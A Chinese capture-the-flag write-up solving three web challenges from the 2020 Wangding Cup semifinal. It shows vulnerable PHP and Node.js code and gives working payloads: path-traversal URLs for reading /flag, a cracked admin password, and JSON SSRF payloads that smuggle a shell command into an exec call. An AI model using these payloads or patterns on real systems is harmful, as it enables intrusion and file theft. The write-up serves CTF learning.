[网鼎杯 2020 半决赛]AliceWebsite
右手就行的题目。。。
1
| index.php?action=../../../../../flag
|
直接 /flag
也行
[网鼎杯 2020 半决赛]faka
一个tp二次开发的站点,有数据库文件。打开数据库文件,在system_user中可以看到admin 账号的hash,在somd5中可以直接解出来。

https://www.somd5.com/,为 admincccbbb123
后台文件上传GetShell
进入后台
找到上传点,抓包:

post的数据中有md5的hash,同时也是拼接到了路径中的。
https://xz.aliyun.com/t/7838
找到对应的文件上传点的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| function getUploadFile($field, $url = false, $extison = []) { $request = \think\Request::instance(); $file = $request->file($field); if (!$file) { return wrong('上传文件不存在'); }
$ext = pathinfo($file->getInfo('name'), 4); $md5 = [uniqid(), uniqid()]; $filename = join('/', $md5) . ".{$ext}"; if (!empty($extison)) { if (!in_array($ext, $extison)) { return wrong('文件上传类型受限'); } } else { if ($ext == 'php' || !in_array(strtolower($ext), explode(',', strtolower(sysconf('storage_local_exts'))))) { return wrong('文件上传类型受限'); } }
if (($info = $file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true))) { if ($url) { $site_url = FileService::getFileUrl($filename, 'local'); if ($site_url) { return right(['file' => $site_url, 'filename' => $filename, 'resource' => $info], '上传成功'); } else { return wrong('获取上传文件' . $filename . '失败'); } } else { return right(['file' => ROOT_PATH . '/static/upload/' . $filename, 'filename' => $filename, 'resource' => $info], '上传成功'); } } else { return wrong('保存上传文件' . $filename . '失败'); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| protected function buildSaveName($savename) { if (true === $savename) { if ($this->rule instanceof \Closure) { $savename = call_user_func_array($this->rule, [$this]); } else { switch ($this->rule) { case 'date': $savename = date('Ymd') . DS . md5(microtime(true)); break; default: if (in_array($this->rule, hash_algos())) { $hash = $this->hash($this->rule); $savename = substr($hash, 0, 2) . DS . substr($hash, 2); } elseif (is_callable($this->rule)) { $savename = call_user_func($this->rule); } else { $savename = date('Ymd') . DS . md5(microtime(true)); } } } } elseif ('' === $savename || false === $savename) { $savename = $this->getInfo('name'); }
if (!strpos($savename, '.')) { $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION); }
return $savename; }
|
利用前提就是token 和 上传文件的路径 可控。
emem,难点就是构造上传表单。
那个上传表单不知道是构造的还是抓包抓到的,我怎么没有抓到?
后台权限任意文件下载
1
| /manage/Backup/downloadBak?file=../../../../../../flag.txt
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| function downloadBak() { $file_name = $_GET['file']; $file_dir = $this->config['path']; if (!file_exists($file_dir . "/" . $file_name)) { return false; exit; } else { $file = fopen($file_dir . "/" . $file_name, "r"); header('Content-Encoding: none'); header("Content-type: application/octet-stream"); header("Accept-Ranges: bytes"); header("Accept-Length: " . filesize($file_dir . "/" . $file_name)); header('Content-Transfer-Encoding: binary'); header("Content-Disposition: attachment; filename=" . $file_name); header('Pragma: no-cache'); header('Expires: 0'); echo fread($file, filesize($file_dir . "/" . $file_name)); fclose($file); exit; } }
|
[网鼎杯 2020 半决赛]BabyJS
nodejs 的代码审计题,down下源码,执行 npm audit
, 下面是一些重要的漏洞。原型链污染,RCE,sandbox bypass RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| ┌───────────────┬──────────────────────────────────────────────────────────────┐ │ High │ Prototype Pollution Protection Bypass │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Package │ qs │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Dependency of │ express │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Path │ express > qs │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ More info │ https://npmjs.com/advisories/1469 │ └───────────────┴──────────────────────────────────────────────────────────────┘
┌───────────────┬──────────────────────────────────────────────────────────────┐ │ High │ Prototype Pollution Protection Bypass │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Package │ qs │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Dependency of │ body-parser │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Path │ body-parser > qs │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ More info │ https://npmjs.com/advisories/1469 │ └───────────────┴──────────────────────────────────────────────────────────────┘
┌───────────────┬──────────────────────────────────────────────────────────────┐ │ Moderate │ Code Injection │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Package │ morgan │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Dependency of │ morgan │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Path │ morgan │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ More info │ https://npmjs.com/advisories/736 │ └───────────────┴──────────────────────────────────────────────────────────────┘
┌───────────────┬──────────────────────────────────────────────────────────────┐ │ Low │ Prototype Pollution │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Package │ lodash │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Dependency of │ request-promise │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Path │ request-promise > request-promise-core > lodash │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ More info │ https://npmjs.com/advisories/1523 │ └───────────────┴──────────────────────────────────────────────────────────────┘
┌───────────────┬──────────────────────────────────────────────────────────────┐ │ Critical │ Sandbox Bypass Leading to Arbitrary Code Execution │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Package │ constantinople │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Patched in │ >=3.1.1 │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Dependency of │ jade │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Path │ jade > constantinople │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ More info │ https://npmjs.com/advisories/568 │ └───────────────┴──────────────────────────────────────────────────────────────┘
|
em… 当看到routes/index.js
中的代码时,就知道是要SSRF
了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
router.get('/', function(req, res, next) { res.json({}); });
router.get('/debug', function(req, res, next) { console.log(req.ip); if(blacklist.indexOf(req.ip)!=-1){ console.log('res'); var u=req.query.url.replace(/[\"\']/ig,''); console.log(url.parse(u).href); let log=`echo '${url.parse(u).href}'>>/tmp/log`; console.log(log); child_process.exec(log); res.json({data:fs.readFileSync('/tmp/log').toString()}); }else{ res.json({}); } });
router.post('/debug', function(req, res, next) { console.log(req.body); if(req.body.url !== undefined) { var u = req.body.url; var urlObject=url.parse(u); if(blacklist.indexOf(urlObject.hostname) == -1){ var dest=urlObject.href; request(dest,(err,result,body)=>{ res.json(body); }) } else{ res.json([]); } } });
|
其中,get方式请求的/debug
有许多过滤(过滤了单、双引号、括号 []),而post请求方式中没有。但是要执行命令就必须能够调用到get中的debug路由,因此目的也很明确了,
通过post /debug去 ssrf get /debug
因为返回是json格式,所以传递的数据也是json格式的。将/flag 复制到 /tmp/log 下,这样就能以json格式打印出来了。
SSRF Bypass:https://www.secpulse.com/archives/65832.html
payload1,单引号二次编码一下绕
1
| {"url":"http://0177.0.0.1:3000/debug?url=http://a%[email protected];cp$IFS/flag$IFS/tmp/log%00"}
|
payload2
1
| {"url":"http://0177.0.0.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%2500"}
|
这串解出来正好是一个单引号
参考WP
https://blog.csdn.net/weixin_42337765/article/details/110298641
https://www.cnblogs.com/W4nder/p/14078695.html